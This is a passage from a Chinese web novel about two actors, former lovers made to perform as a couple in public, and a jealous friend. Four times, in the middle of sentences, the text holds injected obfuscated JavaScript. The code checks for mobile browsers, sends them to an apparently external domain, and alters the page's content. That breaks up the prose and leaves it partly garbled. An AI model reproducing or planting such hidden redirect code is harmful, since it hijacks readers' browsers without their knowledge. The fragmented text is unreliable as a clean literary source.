“知道你们什么时候下楼，什么时候到活动现场，看来是我们公司的人，而且地位不低啊。”李志笑了笑，“不过公司里你们的粉丝太多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950554|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，还真不好找到幕后黑手。” 叩叩！ 敲门声打断他们的讨论，李志喊一声“进”，门被打开，林悠然可可爱爱地探出头，举起手中的棒棒糖：“哒哒~~~小攸哥~~~” 左知攸闻声回头，弯唇笑：“怎么过来了？不是跟我说，要以最快的速度去内场磕cp？” “我是想磕啊，这不是看到热搜，赶紧来安慰你嘛。”林悠然笑着小跑进来，坐到旁边，捧着脸歪头笑，“小攸哥，我看舆论已经发生变化了，你没事了吧？” “小事。” “虽然是小事，但我知道你一开始心情一定不好。”林悠然把棒棒糖给他，“呐，给你。” “都多大了，我不吃糖。” “不吃就不吃，收起来嘛，小时候我们谁不开心了，对方都会送糖啊，长大了难道就不能送了？” “能~”左知攸笑着把糖收起来，给小丽，吩咐好好收着，等回去了再给他。 林悠然笑弯了眼，忽闪忽闪的大眼睛左看看右看看，嘟起嘴：“姓宁的呢？不来安慰你啊，这也太没眼力见了。” “提他做什么？” “拜托，我以前磕的cp死灰复燃诶，我就不能高兴高兴嘛。” “什么死灰复燃，没有的事。”左知攸笑容微敛，“别乱说。” 林悠然小声嘟囔：“以前你们还在一起的时候，哪次闹矛盾不是你主动去把人哄好的？他只要在家里哭一哭，你知道了就心软了，我才不信这次你能撑多久，复合是迟早的事。” 左知攸表情逐渐僵硬，手指握紧，关节发白：“以后不会了。” 林悠然摇头晃脑的把玩着手机，完全没发现他的情绪变化：“你以前也说过好多次，还不是每次都服软了？我磕了那么多cp，不会看错的。” 左知攸深吸一口气，闭上双眸：“我休息一下，你先去内场吧。” “我......”林悠然抬头，看见他不笑了，有些无措，“我错啦，小攸哥你别生气，我相信你这次一定不会心软的，真的，你别不高兴。” 她越说，左知攸越无法平静，努力冷静几秒，重新睁开眼睛，笑着让她先去内场。 “那，那我先走啦，小攸哥，再见？” “再见。” “没生我的气吧？”林悠然一步三回头，可怜兮兮。 左知攸笑着摇头：“跟你没关系，不生气。” “好~”林悠然终于放心了，拍拍胸脯，笑着走出去，关门时还挥挥手，“拜拜~~~” “拜拜。” 门被关上，林悠然笑意盈盈，很是得意，冷眼看着对门，靠在门框上轻轻敲门，听到让进去的声音，笑着开门，可可爱爱打招呼：“嗨~宁老师，好久不见啊~” 宁柏右低落的情绪突然被打散，警钟响起，下意识看向对门，如临大敌：“你从哪来的？” 林悠然指指对门：“我去跟小攸哥说过话啦~” “你又想做什么？” “提醒一下，你当初有多不会爱人，让小攸哥咽下了多少苦楚而已，也没什么~”林悠然笑容完美，眼神冰冷，挥挥手，“这个提醒也同样送给你，希望你没忘记，自己有多没资格说爱这个字，回见~” 门被轻轻关上，宁柏右的心情跌落谷底，肩背一松，失神靠在椅背上，像是虚假的铠甲被轻易击穿。 是，他没资格，最没资格，没资格。 8. 第 8 章 叩叩叩！ 门被敲响，李志的声音从外面传来：“宁老师，该去内场了。” 宁柏右回过神，见镜子里的自己一点精神都没有，勉强挂起笑容走出去，没敢和外面等着的左知攸对视。 瞧见他这幅死样子，左知攸又想起以前这家伙一难过就只知道在家里哭，等着他去安慰的样子，嘴唇蠕动差点想冷嘲热讽一番，又觉得没意思，冷淡点点头就转身离开。 宁柏右下意识跟上去，看见摄像头，拿出自己的演技加深笑容，和他一前一后坐到位置上。 内场也在直播，艺人们端庄地坐在位置上，连说话都捂着嘴巴，生怕会唇语的观众又读出什么。 左知攸他们来得晚，到内场的时候，几乎没有几个位置是空着的，甭管这段时间有没有掺一脚围殴他们，路过的艺人们纷纷恭敬地起身鞠躬问好，只不过两人都没心情寒暄，只是点点头回应就算了。 大家心里表示非常理解，死对头要绑在一起营业嘛，心情能好才怪了。 一直到坐在位置上，等了十几分钟，宁柏右都不发一言，左知攸靠在位置上，神色冷淡，拿着手机轻微低头看电视剧磕cp，只是身边坐着一个正在emo的人，他的心情始终不太美丽。 看了三五分钟，脑海中始终徘徊着过去的记忆，觉得厌烦，抿着唇往右边坐，紧紧靠着扶手拉开距离。 他的动作让宁柏右回过神，小心翼翼地用余光观察，发现他的厌恶后，心里一个咯噔。 该死的，怎么又犯这个坏毛病了？ 可我还有资格吗？ 宁柏右握紧双手，犹豫了好几分钟，轻轻往右边靠，自己也靠在扶手边，一直用余光观察左知攸的反应。 观察了半晌，也没得到一点回应，心生胆怯，不敢打扰。 直播的摇臂晃过来，左知攸突然坐直，往旁边看一眼，面露惊讶：“你......”怎么靠那么近？ 看着他的表情，宁柏右突然反应过来，露出笑：“在看什么电视？” 哦，对，摇臂在拍他们呢，左知攸面容稍缓，坐过去，把手机屏幕放到两人之间的扶手上：“就这个。” 宁柏右没看过，不知道要怎么聊，余光一直在盯着他，犹豫片刻，主动找别的话题：“你讨厌这样吗？” 电视里的男女主正在暧昧对视，左知攸以为他说的是这个，要不是有摇臂在拍着，他都想翻白眼，只是现在只能笑着捂嘴，咬着牙，小声问：“你觉得适合吗？”感情之前的告诫都白说了是吧？ 宁柏右观察着他们之间的距离，其实也没有那么亲密，手都没碰到一起，但至少比刚才离得近很多，寻求信心的决心越发坚定：“我有没有资格继续，应该是你来决定，对吧？” 左知攸看着电视剧里的画面，男女主都快亲上了，但他们现在？“那我觉得不合适。” 宁柏右表情管理差点失败，心情失落地把偷偷放在扶手上的手臂挪下来，等摇臂离开才让笑容消失。 左知攸准备靠回右边扶手坐着，拿手机的时候反应过来宁柏右刚刚问的是什么，心情越发复杂。 他越来越主动了，好像真的在改变，可自己已经不敢回应了。 这大概就是有缘无分吧。 两人的距离又变远了，宁柏右无神地看着暂时空无一人的台上，等主持人走到台边做准备的时候才重新打起精神，笑着看向旁边：“靠过来一下。” 左知攸疑惑，不想过去。 “这样说话声音大，别人能听到。” 话音刚落，周围竖起耳朵吃瓜的艺人纷纷看向别处，左知攸嘴角抽搐，重新坐回左边，犹豫两秒，也没把耳朵凑过去：“说吧。” 他不过来，宁柏右就靠过去，用手挡着嘴型：“我还是不想放弃，这样好不好，你不喜欢就拒绝，只是我脸皮厚，等收拾好心情还会继续死缠烂打，你没生气的话，我就不问你意见了。” “什么？”左知攸听得无语，“那我拒绝有用吗？” “我怕你口是心非。” 左知攸被他的话给气笑了，咬牙切齿：“我会口是心非？你是不是把你看得太重要了？” “挡一下嘴型。” 左知攸回神，用手挡住：“你什么意思？说清楚，觉得我非你不可？” “不是。”宁柏右轻轻摇头，“我的意思是，我觉得我脸皮厚一点，或许能让你给我一个机会，你一天不把戒指摘下来，我一天不放弃。” “你没机会。”左知攸斩钉截铁。 宁柏右嗯了一声，盯着他的戒指：“我不放弃。” “你脸皮真是一天比一天厚，也不怕被人知道了把你宁大影帝的脸都丢尽了。” “脸皮薄一点，我就没资格让你给我这个机会了。” “你还挺有自知之明。” “谢谢。” 左知攸疑惑地扫视着他的脸，想不明白狗东西刚刚坐着想了什么东西，怎么突然就变成这样了，不过也跟他没关系，轻哼一声坐回右边继续看手机。 宁柏右侧头看他，笑意逐渐加深。 自己和别人觉得没资格不算，有没有资格，应该是被追求者来判定的。 戒指没摘，就还有机会。 盛典很快开始，主持人上台开场，左知攸关掉手机放好，很给面子地端坐到位置正中间，在镜头时不时切到自己的时候，微微颔首打招呼。 宁柏右坐得靠他很近，瞧见大屏幕上的镜头边缘有自己的半个身子，没敢抢镜，回去端正坐好，等打完招呼才又坐回右边。 林悠然离得远，隔了三排，微笑盯着屏幕上重新打起精神的人，气得咬牙。 这贱人，怎么变化那么大？ 这么快就收拾好心情了？ 不行，她得做点什么。 那么多艺人到场参加活动，自然不可能所有人都给单独镜头，不过林悠然好歹是顶流小花，自然不会落了他。 镜头晃到她这边，她乖巧可爱地歪头对着镜头挥手打招呼，不知何时戴了一枚黄色绒花戒指，在镜头里十分显眼。 宁柏右表情凝固，心脏抽痛，失去力气，靠坐在椅子里。 林悠然转身探头看向前方，瞧见他没再坐得挺直，勾起一抹得意的笑。 果然跟过去一样，自卑到骨子里，稍稍打击一下，信心就没了，你怎么跟我争啊~ 察觉到他又变成那副死样子，左知攸疑惑，不知道是怎么回事，但不妨碍自己很讨厌这种氛围，瞟了几眼，没去关心。 哼，他可不是十年前的左知攸，才不会什么事情都巴巴地去问呢。 活动结束，左知攸捧着奖杯回到后台，准备去拍点照片，听到敲门声响起，轻声让人进来。 宁柏右走进来，自然地站在旁边，轻声问他：“你还讨厌黄色吗？” 左知攸疑惑：“不讨厌，干嘛？” “对不起。” “什么意思？” “你19岁生日，我没能到场。” 左知攸冷脸：“不要再说了，都过去了。” 宁柏右不这么认为：“时机到了，我该解释，也该道歉。当年你生日前一个月，我给你准备了一份陶瓷礼物，后来你生日前三天，陶瓷不知道怎么回事，突然就碎了，我很忐忑，想要挽回，发现做不到，只能去寻别的礼物。” 左知攸低头，记起那次的事情。 他很期待宁柏右来给自己过生日，可生日前三天，宁柏右就不见踪影，生日当天也不见人，本来该是他这个寿星生气的，可到底怕出事，跑到宁柏右家中找他，才发现他抱着一束黄色玫瑰在家里哭得眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950555|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛又红又肿。 “我送你黄玫瑰的意思是，我很幸运能遇见你，也向你道歉，生日礼物被我弄坏了。” 左知攸看向别处：“现在说这个有什么意义，那天你连一句祝福都没给我，我一个寿星，光哄你了，你还忧郁了几天，真搞不清楚谁才是寿星。” “我去了。”宁柏右低头，也不敢看他，“只是我到你家门口的时候，有人给我发短信，说你最讨厌黄色，我很自责自己居然没发现这件事，就没敢进去。” “你的花送没送都添堵，没差别。”左知攸哼笑。 “我知道，对不起。” “没事，谁让当时我还爱着你，失望没攒够呢？我活该。”左知攸叹气，“所以你现在说这些是什么意思？想要原谅？我早就原谅你了。” “可我终究欠你一句解释，一句道歉，当年这些我都没说出口，只会索取你的关心和爱，没有半点回馈，当年的我不会爱人，现在我也不知道自己有没有学会，但我想，当年我不长嘴，现在多说几句，再怎么样也比不长嘴好。” “呵。”左知攸哼笑，指着门口，很没好气，“我听到了，暂时不想看见你，可以滚了。”狗东西。 宁柏右轻声说了一句好，想去看他的表情，又胆怯，走到门口才敢回头，可镜子和人都被化妆师和助理们挡住了，他什么都没看到，只得乖乖滚了。 生气也没关系，我活该，也没什么好失落的。 走出休息间，心情还是很忐忑，回到自己休息间的时候，却发现里面来了个不速之客。 林悠然竟然坐在他的位置上。 “你来干什么？”他挥挥手让其他人先出去守门。 林悠然当然是来确定成果了，瞧他这幅不安的样子，本来准备好的嘲讽也用不上了，心情很好地站起来，杏眸弯起。 “你惹小攸哥生气啦？我去安慰安慰他。” 宁柏右神色有一瞬间慌张，很快又恢复平静，走回自己的座位，与她擦肩而过，似笑非笑，“我刚刚和攸攸猜测那件陶瓷礼物到底是谁弄坏的，你说，谁知道礼物放在哪里，谁又有能力偷偷弄坏呢？要不你也去提供点思路？” 林悠然笑容凝固：“小攸哥才不会在乎十年前的一件小事。” “礼物被弄坏事小，有人表里不一才更有趣，不是吗？”宁柏右坐回自己的位置，见她要张口，又道，“你也不用提醒我当年错得有多离谱，我心里很清楚自己要赎多少罪，就是看你敢不敢像我一样，正视自己的错误了。” “错误？”林悠然冷笑，又恢复平日里的可爱笑容，“我从不认为我做了错事。” “那这么多年怎么不坦白？” “你的意思是，想让小攸哥知道，当年有多少人在背地里搞鬼？”林悠然反讽。 “看，你们也知道自己在以对他好的名义伤害他，那你有什么资格来指责我？” “你！”林悠然又惊讶又气，冷脸开门离开。 哒哒哒！ 高跟鞋重重敲打在地板上，主人的心绪很不平静。 该死的贱人，被打击几次不该是自暴自弃，不敢再觊觎小攸哥吗？现在脸皮厚如城墙也就算了，竟然还能说出这种话，都说江山易改本性难移，难道他真能用十年时间超级进化？ 跟她在这玩玄幻修仙，前期落魄不堪，摔下山崖就一飞冲天的戏码呢？ “等着，我不会让你有这个机会的。”林悠然狠狠磨牙。 周雯小心翼翼开门走进来，有点怕宁柏右又自己一个人emo了，瞧见他心情很好地用手敲击桌面的样子，愣了一下。 “你没事？” 宁柏右勾唇：“有事，有些事情，看得更明白了，是好事。” 情敌气急败坏了，说明他现在的方法是对的，真是天大的好事。 9. 第 9 章 左知攸坐在化妆镜前，有些失神，耳边回荡着宁柏右的那句“对不起”，连造型团队已经悄悄离开都不知道。 十年了，他一直在等这句“对不起”。 刚分手那会儿，他就想着，只要宁柏右过来跟他道道歉，他就原谅他好了，可他一直没等到，后来也就死心了。 现在已经过去十年，这句“对不起”总算是等到了，可他也不知道自己该有什么心情。 高兴吗？没有。 生气吗？也没有。 抱怨吗？更没有。 时间过去太久了，连本来会有的期待也跟着消失，可要说是可以释怀的平静，也不至于，他的情绪还是会因此波动，但具体是什么情绪，他自己也不知道。 好像有点想叹气了。 左知攸顺其自然叹气，慢慢转动手上的戒指，一点点往外挪。 失望攒多了，他也就不再期盼宁柏右能改掉只会索取的毛病，就算改了又如何？他又不缺爱，还缺一个爱自己的人吗？ 十年的形同陌路他早已习惯，也气了十年，现在得到了那句“对不起”，他想放下了。 戒指挪到指尖，李志抱着一束黄玫瑰从外面走进来，犹豫着放到他面前：“知攸，那个，宁柏右买了这束玫瑰给你，说要祝你19岁生日快乐。” 左知攸眼神移过去，手上的戒指已经拔出来，举着戒指停在空中。 “我已经28岁了，他送这个有病吧。” “额，我也提醒他你不是19岁了。”李志看到他拿出来的戒指，不知道他怎么突然又想摘下来了，但肯定是生狗东西的气了，“我这就把玫瑰还回去。” “他还说了什么？” “啊？” “一起说了吧。” “他，他说你每次生日都匿名给你送过礼物，但都被你退回来了，如果你愿意了解的话，他有个粉丝号，里面有记录。”李志传完话，觉得奇奇怪怪，“你说他是不是太奇怪了，既然有这份心，光明正大给你送不就好了？” “他向来这样。”左知攸下意识解释一句，狗东西过去那些死样子他固然嫌弃，但内心也知道，狗东西以前挺自卑的，其实匿名送也正常，像现在这样，嘴巴叭叭叭的解释，又各种主动，才不正常好吧？ 诶，不对，我帮他解释做什么？ 做错事的又不是我，我还理解他？ “呵，他就这毛病，烦死了。”左知攸冷哼。 李志见他又生气了，跟着声讨：“他做这些就是自我感动，以为自己有多深情，实际上一点也不顾及你的感受，让你一个人生了这么多年的闷气。” “我生闷气？”左知攸冷笑，“我生他的气做什么？他配吗？” 李志一噎：行，不配。 左知攸把黄玫瑰抱过来数多少支，手上的戒指掉到地上，李志捡回来：“我收起来？” “给我吧，大家都知道戒指跟他有关，摘了戒指，接下来的剧宣怎么办？” 一枚戒指而已，摘下来就解释说是造型不合适，或者掉了不就好了？影响能有多大？李志可不信他的说辞，不过也不会拆台，把戒指还回去，让他做决定就是了。 左知攸举着戒指看了好一会儿，犹豫片刻，不是很情愿地戴回去，低头一支支数玫瑰。 19支黄玫瑰，和当年的一样。 哼，想补生日礼物还知道问他现在还讨不讨厌黄色，狗东西，还真是长进了。 不过也没长进到哪里去，连自己送都不敢，还得拜托别人转达。 他现在的确不讨厌黄色了，不过也不是多喜欢，更何况这是代表弥补的礼物，看一会儿还行，看久了，心里也膈应，索性一支支拆了，黄色花瓣自手中洒落掉在地上，摆得七零八落，他不由得勾起唇，心情很好地去拍摄。 出了门，狗东西已经在外面等着，满脸期待。 他侧身指着屋里那一片黄色，将手中的光杆花枝用力塞进狗东西的怀里，歪头挑眉：“宁老师既然那么有闲心，不如想办法粘回去？” 周雯脸色微变，有些恼怒，正要说话，宁柏右忙不迭把光杆花枝抱紧了，笑着十分便宜：“好。” 见他毫不犹豫答应了，左知攸也没想到自己竟然一点也不高兴，微微蹙眉，带着李志他们离开。 “作践人也不是这么个作践法吧？”周雯愤愤不平。 “我以前也在作践他，还把他作走了，现在偿还天经地义。”宁柏右还挺高兴，“愿意作践我就行，不理我才是一点机会也没有，之前我在电梯里跟他说话，可是连一个滚都没捞到。” “可是......” “其实我现在挺后悔的。” 周雯一愣：“后悔？” “嗯。”如果早知道他还在意我，早几年主动就好了。 宁柏右走进休息室，一点点将地上的花瓣捡起来，周雯他们想过来帮忙，他都拒绝了，等花瓣小心放到袋子里，抱着袋子有些犹豫。 左老师布置了作业，得尽快完成。 可按照计划，他们在活动现场也要再拍一组合照。 “既然都敢贪心到想要挽回，那再贪心一点也可以的吧？”他心脏加速跳动，忐忑地往约定好的拍摄地点赶去。 等来到这里，左知攸已经结束拍摄准备离开了，瞧见他带着人出现，抱臂靠在楼梯上方，居高临下挡住身后的光线，表情隐藏在黑暗中，眼神微凉。 宁柏右停下脚步，抬头仰望，一缕光恰好落到他的半张脸上，黑眸小心翼翼，唇角勾起几分讨好，想上前，又不敢。 “左老师，要不要在这里再拍一组双人照？” 左知攸听了，心里暗骂狗东西，不好好去粘花，还想着拍合照？从哪学来的得寸进尺？ 正要讽刺一番，耳边传来一道声音。 咔！ 闪光灯亮起，隔了十几级楼梯的两人同时转头看去，转角下方的楼梯上站着一个戴着口罩，胸前挂着入场证的摄影师，兴奋地按着快门。 对这些摄影师，左知攸也没有什么好办法，不想在不知情的人面前提起他和宁柏右的过去，决定先放过狗东西，带上李志他们离开，宁柏右主动靠在栏杆那边让开路，让他从里面下去。 两人擦肩而过，光影正好。 咔！ 摄影师嘴里喃喃着什么话，声音太小，听不太清楚。 “这可不是红毯拍照环节，回头记得把照片发给我一份。”路过的时候，李志笑呵呵地拍拍肩膀，低头看清楚他胸前入场证上的信息。 川贝？这个名字很耳熟啊，还是E时尚杂志的人。 仔细看没被口罩遮住的上半张脸，嚯，不是前两年在国外追着他家左老师约拍摄行程的家伙嘛。 “川贝老师，你怎么来了？” 川贝看看已经离开的左知攸，又看看已经往上走的宁柏右，觉得哪个都喜欢，听到李志的声音，摘下口罩笑着打招呼：“嗨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950556|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，好久不见，现在左老师有拍摄行程可以约吗？” “10月不是给你们E时尚拍了吗？” “没赶上，刚从国外回来。”川贝很是遗憾，从兜里拿出一张名片，“闭年刊还有机会吗？” “你能决定？” “以前不行，现在可以。”川贝很是肯定，美得不行，“到时候左老师闭年刊，宁老师开年刊，怎么样？” 李志想着最近的安排，还不知道《司鹿极梦》怎么样呢，只说考虑一下，不过也让他别太抱希望，毕竟他家左老师自从集齐国内外各大顶刊后就不爱去拍杂志了。 川贝又去露台找周雯，也没得到肯定回复。 别问，问就是左知攸不拍，宁柏右也没兴趣，这些年他们宁老师跟杂志的合作都是参考左知攸的安排，前脚左知攸去拍了，他后脚也屁颠屁颠去主动接触，老是一前一后出现，看起来好像资源抢得贼凶，要不外界怎么老觉得他们是对家呢？ 左知攸回到车上，等了一会儿，李志小跑着追上来钻进车里。 “干嘛去了？” “两年前在街头追着你想要约拍摄的那个E时尚的小摄影师，你还记得吗？” 左知攸点头：“记得，有个很好记的名字，川贝，刚刚那是他？” “嗯，好像混出头了，刚刚斩钉截铁说可以自己决定让你们一个上闭年刊一个上开年刊。”李志啧啧叹奇，“两年前他发誓一定要爬到有资格跟你约拍摄的位置，我还以为他在做梦呢，没想到他这么年轻，还真的做到了。” “可惜咱们左老师对收集顶刊杂志没有兴趣了。”小方把车门关上。 “他还去找宁柏右了？” “嗯，怎么了？” 左知攸摇头，靠在椅子上闭目养神，也没回答。 -- 镜礼苑，左知攸家后面，相隔一栋别墅的地方，宁柏右打开房间里所有灯光，坐在地上，小心翼翼地比对着每一朵花瓣。 一夜未眠，却没有丝毫倦意，眼睛反倒越来越亮，似乎看到了某种希望。 -- “左老师，刚刚在楼下碰到宁老师了，他说要交作业。”小方小心翼翼地捧着一束花蕾扭曲，还蔫哒哒的黄玫瑰走进来。 大清早的，早餐还没吃，左知攸就看到这束丑得不行的黄玫瑰，嘴角抽搐，但心情倒也没有多坏，走过去弯腰小心瞧，一股胶水味扑鼻而来，后退几步。 “出息，连交作业都不敢自己交。”他走过去嫌弃地弹了弹一支玫瑰，啪的一下，整个花蕾掉到桌上，这莫名惊悚的一面让他忍不住勾起唇，“狗东西还说什么了？” “说下次争取粘好看点，速度快一点。” “是挺丑的，粘点花粘了一晚上，拖拖拉拉的，慢得不行。” 左知攸挑眉，把桌上的花骨朵塞回花束里，找一个花瓶，将上面开得正好看的黄百合拿出来，整束玫瑰塞进瓶中。 “行，这件事，翻篇了。” 花瓶被搬到阳台上，他进去洗手，倒了一杯热牛奶出来靠在阳台门上仔细看，丑不拉几的黄玫瑰在阳光下瞧着好看了几分。 他以前很讨厌黄色，但19岁生日那天，即便是宁柏右没把花送给他，他对黄色的厌恶也变成了几分喜爱。 楼下停着一辆黑色豪车，男人穿着白色卫衣靠着车门抬头往上看，发现那一抹黄色，忐忑的表情终于放松。 作业的成绩合格了。 真好。 10. 第 10 章 左知攸住在南方，现在是冬天，天气不算太冷，阳台就没封起来，放在那里的黄玫瑰又是被冷风吹，又是被太阳晒，枯萎得很快，才不到两天就变成干花。 直到花没有一点水分，左知攸才把花瓶搬回屋里，小心地把外面的玻璃纸拆掉，七八朵没粘牢的花蕾和枯叶一起掉到桌上，这像极了掉脑袋的一幕让他又笑出来，拿出胶水把花蕾重新粘回去，枯叶太脆弱，一碰就碎，就全部丢到垃圾桶里。 枯枝顶着干花，实在是破败得很，一点美感也没有，他看着又笑出声来，弯唇在外面放了个玻璃罩子免得落尘，坐在旁边撑着下巴欣赏个十来分钟，得出一个结论。 “还是我粘得比较好看。”他得意地挑眉，带着好心情坐到沙发里追电视剧。 里面的男女主已经走到结婚这一步，在亲友们的笑容中来到神父前，当听到神父问愿不愿意和女主相守一生的时候，面瘫男主嘴唇颤抖，哭着点头。 “我愿意，我爱你呜呜呜呜呜呜！” 男主是刚出道的小孩，表情控制能力很差，两行热泪流下，本来还挺好看的一张脸硬生生变丑了好多，而且情绪转变也比较突兀。 “噗！”左知攸喷笑，“行吧，没事，不就是突兀了点吗？结婚嘛，激动点正常。” 女主演技也不行，哭着和男主拥吻时眼神一点波澜也没有。 【抽象哈哈哈，好吧，我是当沙雕剧看的。】 【谁懂啊，看他们谈恋爱谈得那么抽象，我竟然习惯了，这都可以接受。】 【剧播到一半就结婚，进度还是很快的哈哈哈。】 【全程甜甜甜，演技差点也可以接受啦。】 【还有20集，我现在更想知道后面还能演什么。】 【只要不虐，我就放过编剧。】 “没有人觉得副cp更好磕吗？”左知攸一边打字发弹幕一边嘀嘀咕咕，看着时不时蹭到镜头的男二女二，姨夫笑露出来。 他的火眼金睛突然发现一个很容易忽略的点，笑着把进度条拉回去：“牵手了吗？是牵手了吗？哈哈哈，真的牵手了，你们总算是有点进展了，不枉我追了18集。” “西装哥，你是木头吗？我女鹅都深情看着你好几次了，你能不能回头看一眼？” “我的天，刚牵的手，你鼓掌就放开了？放开就放开，就当送祝福了，你鼓完掌能不能重新牵回去啊，我真是服了。” “算了，这个女婿不能要了，女鹅啊，要不你回头看看男四？” “嗯？男女主结了婚，怎么就跳到家庭伦理剧了？” 左知攸看着看着，头开始疼，但为了看看最后谁才是自己女婿，还是坚持看下去，只不过进度条一直往后拉，看见女二才停下。 然后，成功被毒死了！ “编剧有病吧，还搞抽象？” “女二前期喜欢男主，百般阻挠，男主不喜欢优秀的大小姐喜欢小白花就算了，烂大街的套路我也不想说，可至少女二洒脱放手追寻自己幸福是一个亮点啊。” “好家伙，前面十集都在说女二喜欢上男二，现在19集结尾，你跟我说女二又恋爱脑上头，回去追男主？” 这电视剧看得左知攸脑袋突突的疼，cp也磕不下去，气得弃剧，登上小号去官微下面奉上一篇小作文。 完了，他深吸几口气，到各大网站翻找新的电视剧，结果都是被自己弃剧的。 好在最近每天都有新剧开播，想要磕糖还是很容易找到新家的，只是他刚点进一部海报看起来挺甜的电视剧里，片头还没放完就发现自己对新cp失去了兴趣。 “算了，浪费这个时间做什么，我还是回去磕旧糖。”他叹着气，去短视频网站里找切片看，可刷新了好几次，首页上都是他和宁柏右的cp视频。 这能磕吗？磕不了一点。 以前的糖倒是真的，大家也没磕错，可他们BE了呀，当事人磕不了一点。 现在的糖懂的都懂，营业糖。 什么十年对戒，要不是为了营业，他早就扔了。 什么相爱相杀，明明只有相杀没有相爱。 什么WB维护，明明是狗东西多管闲事。 什么WB名十年都没改，跟所谓的藕断丝连有什么关系，艺人的WB名哪能随便改，他改了粉丝找不到路怎么办？ 纯恨倒是真的。 首页都是自己，很难找到其他cp的视频，他就去找自己关注的up主，不太高兴的心情很快就被治愈，眼睛弯起，嘴角越来越翘，露出姨夫脸，看到激动的地方，倒在沙发上扭来扭去，发出怪笑声。 “嘻嘻嘻~~~~” 短视频不长，不大一会儿就能看完好几个视频。 他上次追更新已经是进组前的事情，现在囤了不少，作为一个杂食党，啥cp都能磕，关注的up主也不在少数，一直看到天黑都没看完。 咕咕咕~~ 肚子发出叫声，他揉揉眼睛，用眼太久，有点酸涩，肚子还饿了，恋恋不舍地放下手机去开灯，打开冰箱从里面拿出水果切成盘做水果沙拉。 别误会，他不是减肥，就是不会做饭，也懒得纠结要点什么外卖。 咔擦！ 相机拍照的声音响起，装满水果的果盘照识别成功。 咔擦！ 另一个空的果盘被拍下。 餐前餐后的照片都识别成功，他笑着提交打卡。 “很好，明天又能领能量了。”这可是107克能量呢，走路都不知道要走多久。 今天他不准备玩手机了，看看今日步数，也才73步，也不知道能不能生成一克能量。 哒！ 手机被绑到摇步器上面，他手指一勾，摇步器带着手机摇摇晃晃，等满18000步，明天就能收296克能量了。 “完美！” 带着果盘去阳台坐下，吃了几口，低头时看到楼下停着一辆熟悉的车，嘴角无意识翘起一点：“狗东西没工作吗？” 算了，都是一个小区的，他别墅外面是公共场所，人家爱把车停在那就停呗。 只是这都来几天了，每天都来，也不往车外走，好像躲起来他就不知道是谁似的。 “哼，十年了就这出息，怂货。”感情前些天的死缠烂打只是昙花一现？ 抱怨完，他一愣，又重重一哼，三两下把水果吃完，端着盆回去冲一冲，扔到洗碗机里。 “我管他怂不怂，又不关我的事。” -- 舒缓的轻音乐在车里响起，宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950557|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柏右将看着别墅二楼阳台的视线挪回来几秒，是助理小胡的电话，应该有正事。 “喂？” “宁老师，《司鹿极梦》那边说，时间过去太久了，你们性格气质都变了，怕直播的时候妆容不贴，想把妆容小改一下，问您什么时候有时间，他们上门来给您试试妆。” 宁柏右眼睛一亮，又透过车窗看向阳台：“攸攸......左老师那边要试妆吗？” “应该要吧。” “你帮我打听一下什么时候上门试妆。”宁柏右紧张得心脏加速跳动，握紧手机，“就说我跟他一起试妆。” “啊？”小胡有点忐忑，“左老师那边......您问过了吗？万一不愿意呢？”到时候闹得难看了怎么办啊？传出去了，就更难看。 宁柏右也不确定：“赌一把吧。” “您确定？” “......我这几天都没被赶走，应该有机会。”吧？ “那好，我这两天打听一下。” 宁柏右嗯了一声挂断电话，想到又有新的机会能和攸攸说说话，哪怕还没有准信也高兴得笑出来，抬头看向车内后视镜里的自己。 他这几天看见攸攸出门，都觉得没有正当理由不敢鼓起勇气上前搭话，只敢偷偷藏起来看，好几天都在车里度过，只是晚上回去睡个觉，眼睛倒是精神得发亮，脸却好像比平时憔悴一些。 摸摸自己的脸，不舍地看了几眼没人的阳台，他开车回家。 兴奋地做了一晚上的护肤工作，临睡前，又有些胆怯。 “这样私自上门去......” 脑子冷静下来，他起身开灯，拿起手机，犹豫片刻，发了一条短信出去。 【狗东西：左老师，直播前一起试妆是不是方便点？】 